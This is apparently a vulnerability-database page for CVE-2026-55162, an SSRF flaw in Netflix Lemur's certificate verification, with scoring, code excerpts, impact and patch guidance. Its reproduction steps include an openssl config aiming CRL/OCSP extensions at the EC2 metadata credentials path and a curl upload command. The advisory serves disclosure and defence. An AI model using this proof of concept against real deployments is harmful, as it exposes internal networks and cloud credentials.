Skip to main content

Netflix Lemur CVE-2026-55162

| EUVDEUVD-2026-61149 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-06-25 https://github.com/Netflix/lemur GHSA-54vg-pfh7-jq95 PYSEC-2026-2586
6.3
CVSS 3.1 · Vendor: https://github.com/Netflix/lemur
Share

Severity by source

Vendor (https://github.com/Netflix/lemur) PRIMARY
6.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
vuln.today AI
6.3 MEDIUM

Operator role required (PR:L); network upload path (AV:N); SSRF impacts are limited to probing and cache poisoning (C:L/I:L/A:L) in the base case, with no scope change credited at base level.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:N/SA:N

Primary rating from Vendor (https://github.com/Netflix/lemur).

CVSS VectorVendor: https://github.com/Netflix/lemur

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 25, 2026 - 22:38 vuln.today
Analysis Generated
Jun 25, 2026 - 22:38 vuln.today
CVE Published
Jun 25, 2026 - 21:58 github-advisory
MEDIUM 6.3

DescriptionCVE.org

Summary

When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

Root Cause

lemur/certificates/verify.py, crl_verify:

python
point = p.full_name[0].value
# URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6))
# no allow-list, no destination filter

lemur/certificates/verify.py, ocsp_verify:

python
command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
    ["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
     "-url", url.strip()],
# attacker-controlled URL
    ...
)

In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

Affected Endpoints

MethodPathSource
POST/api/1/certificates/uploadverify_stringcrl_verify / ocsp_verify

The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

Impact

An operator-role attacker can:

  • Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
  • On EC2 instances without IMDSv2 enforcement, cause requests to http://169.254.169.254/ and influence downstream behavior of components that parse the response.
  • Pin attacker-controlled CRLs into the unbounded module-level crl_cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.

The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

Remediation

Filter the URL before it reaches the network sink. Either:

  1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or
  2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.

For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.

Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

Steps to Reproduce

  1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.
  2. Generate a self-signed certificate whose extensions point at internal services:
   cat > openssl.cnf <<EOF
   [req]
   distinguished_name = req_distinguished_name
   req_extensions = v3_ca
   prompt = no

   [req_distinguished_name]
   CN = ssrf-poc.example

   [v3_ca]
   crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
   authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
   EOF

   openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
       -days 365 -nodes -config openssl.cnf -extensions v3_ca
  1. On the Lemur host, start a packet capture filter for the target address before submitting the cert:
   sudo tcpdump -nni any host 169.254.169.254
  1. As eve, upload the malicious certificate:
   BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
   curl -X POST https://lemur.local/api/1/certificates/upload \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d "{
              \"name\": \"ssrf-poc\",
              \"body\": \"$BODY\",
              \"chain\": \"\",
              \"private_key\": \"\",
              \"owner\": \"eve@example.com\"
            }"
  1. Observe the outbound request to 169.254.169.254 in the tcpdump output. The request originates from the Lemur process during verify_string processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.

AnalysisAI

Server-Side Request Forgery in Netflix Lemur's certificate verification pipeline allows an authenticated operator-role user to force the Lemur host to issue outbound HTTP requests to arbitrary internal destinations by uploading a crafted certificate whose CRL Distribution Point or OCSP responder extensions point to RFC1918 addresses, link-local endpoints (169.254.169.254), internal Kubernetes API servers, or loopback interfaces. Both crl_verify and ocsp_verify in lemur/certificates/verify.py pass attacker-controlled URLs directly to network sinks with no destination allow-list, scheme restriction beyond LDAP rejection, or private-address filtering. No public exploit confirmed in CISA KEV, but detailed proof-of-concept reproduction steps are published in the GitHub Security Advisory GHSA-54vg-pfh7-jq95; vendor-released patch v1.9.2 is available.

Technical ContextAI

Lemur (pkg:pip/lemur) is Netflix's open-source PKI certificate management platform, written in Python and commonly deployed in cloud environments including EC2. The vulnerability resides in two functions within lemur/certificates/verify.py: crl_verify extracts the CRL Distribution Point URL directly from a certificate's extension using p.full_name[0].value and passes it to requests.get() with no destination validation; ocsp_verify extracts the OCSP URL via openssl x509 -ocsp_uri and pipes it unvalidated as the -url argument to openssl ocsp. Both paths are invoked via verify_string during certificate upload processing at POST /api/1/certificates/upload, which is protected by StrictRolePermission requiring the operator role. The root cause is CWE-918 (Server-Side Request Forgery): attacker-controlled data from a certificate extension flows to an outbound network call without SSRF-safe validation. An additional amplification vector exists via an unbounded module-level crl_cache dict, which allows a poisoned CRL entry to persist permanently for a given URL across all subsequent verifications. CPE: pkg:pip/lemur <= 1.9.1.

RemediationAI

Upgrade to Lemur v1.9.2 (https://github.com/Netflix/lemur/releases/tag/v1.9.2), which patches both crl_verify and ocsp_verify to reject RFC1918, loopback, and link-local destinations before issuing outbound requests, and bounds the module-level crl_cache to 1,000 entries to prevent unbounded cache growth. Operators may optionally configure LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS allow-lists in Lemur configuration to further restrict outbound CRL and OCSP destinations to explicitly approved hostnames; this is strongly recommended in environments that process third-party certificates. As an immediate compensating control prior to patching, restrict the Lemur host's egress network policy using host-based firewall rules or security groups to block outbound connections to RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), and loopback addresses - note this may break legitimate CRL/OCSP fetches to internal PKI infrastructure and requires careful scoping. On EC2, enforce IMDSv2 (token-required mode) via instance metadata options to prevent credential theft via the IMDS endpoint even if the SSRF fires, as this is an independent defense-in-depth control with no functional trade-off for Lemur itself.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-55162 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy